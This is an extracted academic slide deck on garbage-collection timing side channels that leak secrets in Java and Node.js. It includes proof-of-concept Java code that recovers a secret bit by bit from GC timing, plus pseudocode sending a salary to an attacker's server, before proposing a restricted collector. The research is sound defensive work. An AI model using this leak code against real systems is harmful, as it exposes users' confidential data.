Towards information-flow aware automatic memory management

Size: px

Start display at page:

Download "Towards information-flow aware automatic memory management"

Regina Grant
5 years ago
Views:

1 Towards information-flow aware automatic memory management Aslan Askarov Aarhus University joint work w/ Mathias Pedersen INRIA Rennes

2 2

3 2 I want to compute my taxes!

4 I want to compute my taxes! 3

5 I want to compute my taxes! I can do that for you! Just run this code! 3

6 I want to compute my taxes! I can do that for you! Just run this code! tax_computation_automator.exe 3

7 I want to compute my taxes! I can do that for you! Just run this code! Okay! tax_computation_automator.exe 3

8 I want to compute my taxes! I can do that for you! Just run this code! Okay! aliceserver.send(bobsalary) 4

9 Bob could have been smart Let me check it first! I can do that for you! Just run this code! aliceserver.send(bobsalary) 5

10 Bob could have been smart Program analysis tax_computation_a utomator.exe 6

11 Bob could have been smart Aha! Program analysis tax_computation_a utomator.exe 6

12 But is Bob smart enough? Do you have anything better? Try this program instead! tax_computation_automa torv2.exe 7

13 But is Bob smart enough? Program analysis tax_computation_automator v2.exe 8

14 But is Bob smart enough? Program analysis tax_computation_automator v2.exe 8

15 But is Bob smart enough? Program analysis x := gettime() if bobsalary > 500k then long computation else skip y := gettime() aliceserver.send(y - x) 9

16 But is Bob smart enough? Program analysis x := gettime() if bobsalary > 500k then long computation else skip y := gettime() aliceserver.send(y - x) 10

17 But is Bob smart enough? Program analysis x := gettime() if bobsalary > 500k then long computation else skip y := gettime() aliceserver.send(y - x) 11

18 But is Bob smart enough? Ensures secret branches consume equal time Program analysis x := gettime() if bobsalary > 500k then long computation else skip y := gettime() aliceserver.send(y - x) 11

19 Alice goes to work Hmm The code is running in a managed language 12

20 Alice goes to work Hmm The code is running in a managed language So I can construct another attack via the garbage collector! 12

21 Example GC: Cheney s algorithm [1] Heap 13

22 Example GC: Cheney s algorithm [1] Heap 14

23 Example GC: Cheney s algorithm [1] Heap From-space 15

24 Example GC: Cheney s algorithm [1] Heap From-space To-space 15

25 Example GC: Cheney s algorithm [1] Heap From-space To-space 16

26 Example GC: Cheney s algorithm [1] Heap From-space To-space 16

27 Example GC: Cheney s algorithm [1] Heap From-space To-space 16

28 Example GC: Cheney s algorithm [1] Heap From-space Copy these To-space 16

29 Example GC: Cheney s algorithm [1] Heap From-space Copy these To-space 17

30 Example GC: Cheney s algorithm [1] Heap Erase that From-space To-space 17

31 Example GC: Cheney s algorithm [1] Heap From-space To-space 18

32 Example GC: Cheney s algorithm [1] Heap To-space From-space 19

33 Example GC: Cheney s algorithm [1] Heap To-space From-space 19

34 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); 20

35 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); We allocate size1 ints and store ref in a 20

36 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); We allocate size1 ints and store ref in b 20

37 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); Assume GC happens here 20

38 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); a and b are both live and point to different arrays. 2*size1 integers need to be copied from from-space to to-space 20

39 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); Printed value is large 20

40 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); 21

41 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); b is a reference pointing to the same array as a 21

42 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); Assume GC happens here 21

43 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); a and b are both live but point to the same array! Only size1 integers need to be copied from from-space to to-space. 21

44 Attack: Leak via GC int[] a = new int[size1]; int[] b = null; int[] c = null; int[] d = null; if (bobsalary > ) { b = new int[size1]; d = a; } else { c = new int[size1]; b = a; } c = null; long before = System.nanoTime(); int[] x = new int[size2]; long after = System.nanoTime(); System.out.println(after - before); Printed value is small 21

45 Demo java Leak1Bit java Leak1Bit

46 What is small and large? bobsalary bobsallary > Nanoseconds XX:+UseParallelGC -Xms Xmx java version "1.8.0_77" 0 Number of trials 23

47 Bob is not impressed That s only 1 bit of information! 24

48 Bob is not impressed That s only 1 bit of information! Oh I m not done yet 24

49 Amplification to N bits long[] times = new long[n]; for(int bit = 31; bit >= 0; --bit) { for(int i = 0; i < N; ++i) { int[][] a = new int[k][size]; if(((secret >> bit) & 1) > 0) { b = new int[k][size]; } else { b = a; } long before = System.nanoTime(); int[] c = new int[size2]; long after = System.nanoTime(); if(after - before > threshold) { times[i] = after - before; } else { times[i] = 0; } } This code leaks 32 bits in a single run } long sum = 0; long gcs = 0; for(int i = 0; i < N; ++i) { long t = times[i]; t += times[i]; if(t!= 0) ++gcs; } if(gcs == 0) { ++bit; continue; } System.out.println(sum / gcs); 25

50 Amplification to N bits long[] times = new long[n]; for(int bit = 31; bit >= 0; --bit) { for(int i = 0; i < N; ++i) { int[][] a = new int[k][size]; if(((secret >> bit) & 1) > 0) { b = new int[k][size]; } else { b = a; } long before = System.nanoTime(); int[] c = new int[size2]; long after = System.nanoTime(); if(after - before > threshold) { times[i] = after - before; } else { times[i] = 0; } } This code leaks 32 bits in a single run In fact I can leak any number of bits this way! } long sum = 0; long gcs = 0; for(int i = 0; i < N; ++i) { long t = times[i]; t += times[i]; if(t!= 0) ++gcs; } if(gcs == 0) { ++bit; continue; } System.out.println(sum / gcs); 25

51 Amplification to N bits long[] times = new long[n]; for(int bit = 31; bit >= 0; --bit) { for(int i = 0; i < N; ++i) { int[][] a = new int[k][size]; if(((secret >> bit) & 1) > 0) { b = new int[k][size]; } else { b = a; } long before = System.nanoTime(); int[] c = new int[size2]; long after = System.nanoTime(); if(after - before > threshold) { times[i] = after - before; } else { times[i] = 0; } } This code leaks 32 bits in a single run In fact I can leak any number of bits this way! } long sum = 0; long gcs = 0; for(int i = 0; i < N; ++i) { long t = times[i]; t += times[i]; if(t!= 0) ++gcs; } if(gcs == 0) { ++bit; continue; } System.out.println(sum / gcs); Rate: 0.98 byte/s 25

52 Result for JVM Nanoseconds XX:+UseSerialGC -Xms Xmx java version "1.8.0_77" 0 Bits 0 to 31 of

53 Result for V8 via Node.js Nanoseconds node v6.2.0 V8 version Bits 0 to 31 of

54 Summary of experiments Java serial generational garbage collector -XX:+UseSerialGC Java parallel generational garbage collector -XX:+UseParallelGC JavaScript (V8 via Node.js) Generational + Incremental mark-sweep Delays are significant enough to mount a network attack in a datacenter with ping 0.5 ms. 28

55 Yikes! How can we fix this? 29

56 Yikes! How can we fix this? I have some ideas 29

57 The problem is that the GC can be invoked at any point in the program 30

58 The problem is that the GC can be invoked at any point in the program Idea: restrict when GC can be invoked 30

59 Formalization Standard WHILE language Heap allocation of arrays Explicit access to system clock Runtime program counter level Runtime security levels for values on the heap Isolated study of GC timing leaks Enforce control flow timing channels Assume no leaks via cache 31

60 Restricting GC: Exploring the design space I wonder if we can GC public values in a secret context? 32

61 Observation 1 GC ing public values in a secret context is insecure y := new (L, size1, 0) y := null if secret > 0 then x := new (H, size2, 0) else skip t1 := gettime() y := new (L, size1, 0) t2 := gettime () public := t2 - t1

62 Observation 1 GC ing public values in a secret context is insecure y := new (L, size1, 0) y := null if secret > 0 then x := new (H, size2, 0) else skip t1 := gettime() y := new (L, size1, 0) t2 := gettime () public := t2 - t1 y is now garbage

63 Observation 1 GC ing public values in a secret context is insecure y := new (L, size1, 0) y := null if secret > 0 then x := new (H, size2, 0) else skip t1 := gettime() y := new (L, size1, 0) t2 := gettime () public := t2 - t1 Assume GC here

64 Observation 1 GC ing public values in a secret context is insecure y := new (L, size1, 0) y := null if secret > 0 then x := new (H, size2, 0) else skip t1 := gettime() y := new (L, size1, 0) t2 := gettime () public := t2 - t1 No need to GC here

65 Observation 1 GC ing public values in a secret context is insecure y := new (L, size1, 0) y := null if secret > 0 then x := new (H, size2, 0) else skip t1 := gettime() y := new (L, size1, 0) t2 := gettime () public := t2 - t1 Result: public is small

66 Observation 1 GC ing public values in a secret context is insecure y := new (L, size1, 0) y := null if secret > 0 then x := new (H, size2, 0) else skip t1 := gettime() y := new (L, size1, 0) t2 := gettime () public := t2 - t1

67 Observation 1 GC ing public values in a secret context is insecure y := new (L, size1, 0) y := null if secret > 0 then x := new (H, size2, 0) else skip t1 := gettime() y := new (L, size1, 0) t2 := gettime () public := t2 - t1 No GC happens now

68 Observation 1 GC ing public values in a secret context is insecure y := new (L, size1, 0) y := null if secret > 0 then x := new (H, size2, 0) else skip t1 := gettime() y := new (L, size1, 0) t2 := gettime () public := t2 - t1 GC now happens here

69 Observation 1 GC ing public values in a secret context is insecure y := new (L, size1, 0) y := null if secret > 0 then x := new (H, size2, 0) else skip t1 := gettime() y := new (L, size1, 0) t2 := gettime () public := t2 - t1 Result: public is large

70 Restricting GC: Exploring the design space So we cannot GC low values in high contexts. What about the other direction? 35

71 Observation 2 GC ing secret values in a public context is insecure x := new (H, size1, 0) if secret > 0 then x := null else skip t1 := gettime() y := new (L, size2, 0) t2 := gettime () public := t2 - t1

72 Observation 2 GC ing secret values in a public context is insecure x := new (H, size1, 0) if secret > 0 then x := null else skip t1 := gettime() y := new (L, size2, 0) t2 := gettime () public := t2 - t1 No longer need to move x from from-space to to-space

73 Observation 2 GC ing secret values in a public context is insecure x := new (H, size1, 0) if secret > 0 then x := null else skip t1 := gettime() y := new (L, size2, 0) t2 := gettime () public := t2 - t1 Assume GC here

74 Observation 2 GC ing secret values in a public context is insecure x := new (H, size1, 0) if secret > 0 then x := null else skip t1 := gettime() y := new (L, size2, 0) t2 := gettime () public := t2 - t1 Result: public is small

75 Observation 2 GC ing secret values in a public context is insecure x := new (H, size1, 0) if secret > 0 then x := null else skip t1 := gettime() y := new (L, size2, 0) t2 := gettime () public := t2 - t1

76 Observation 2 GC ing secret values in a public context is insecure x := new (H, size1, 0) if secret > 0 then x := null else skip t1 := gettime() y := new (L, size2, 0) t2 := gettime () public := t2 - t1 x is still live

77 Observation 2 GC ing secret values in a public context is insecure x := new (H, size1, 0) if secret > 0 then x := null else skip t1 := gettime() y := new (L, size2, 0) t2 := gettime () public := t2 - t1 Assume GC here

78 Observation 2 GC ing secret values in a public context is insecure x := new (H, size1, 0) if secret > 0 then x := null else skip t1 := gettime() y := new (L, size2, 0) t2 := gettime () public := t2 - t1 Result: public is large

79 Restricting GC: Summary of exploration Observation 1: Cannot GC public parts of the heap when program context is secret. So GC ing high values in low contexts is also insecure Observation 2: Cannot GC secrets parts of the heap when program context is public. 38

80 Runtime requirements for GC (1/2) L H L L L v H L H H L H L H L 39

81 Runtime requirements for GC (1/2) Assume pc = L L H L L L v H L H H L H L H L 39

82 Runtime requirements for GC (1/2) Assume pc = L L H L L L v H L H H L H L H L 39

83 Runtime requirements for secure GC Assume pc = L L H L L L v H L H H L H L H L 40

84 Runtime requirements for secure GC Assume pc = L L H L L v H H H H L H L 40

85 Our solution Runtime control over GC + Static analysis Noninterference 41

86 Our solution Denning-style enforcement Runtime control over GC + Static analysis Noninterference 41

87 Our solution Denning-style enforcement Runtime control over GC + Static analysis Termination-insensitive Noninterference 41

88 Our solution Denning-style enforcement Runtime control over GC + Static analysis Termination-insensitive Noninterference Ongoing formalization of the proofs in Coq 41

89 Formalization quick tour Language syntax Semantics for at command Abstract semantics for GC

90 Formalization quick tour Language syntax Semantics for at command Abstract semantics for GC

91 Conclusion & future work First attack on garbage collection: systems providing high confidentiality cannot rely on standard runtime support. Constraints on runtime to prevent GC leaks is sufficient. Future work: Efficient implementation of our restricted GC in practice. 43

Interested in this stuff? We have several PhD and postdoc positions in Language- Based Security at Aarhus University Ask me today in-person or email: aslan@cs.au.

92 Interested in this stuff? We have several PhD and postdoc positions in Language- Based Security at Aarhus University Ask me today in-person or In world happiness surveys, Denmark often comes out on top, with Aarhus, the nation's second-largest city, as the happiest of the country. In other words, Aarhus may just be the most pleasant city on earth. [KLM In-Flight Entertainment Magazine, January 2017]

JVM Memory Model and GC

JVM Memory Model and GC Developer Community Support Fairoz Matte Principle Member Of Technical Staff Java Platform Sustaining Engineering, Copyright 2015, Oracle and/or its affiliates. All rights reserved.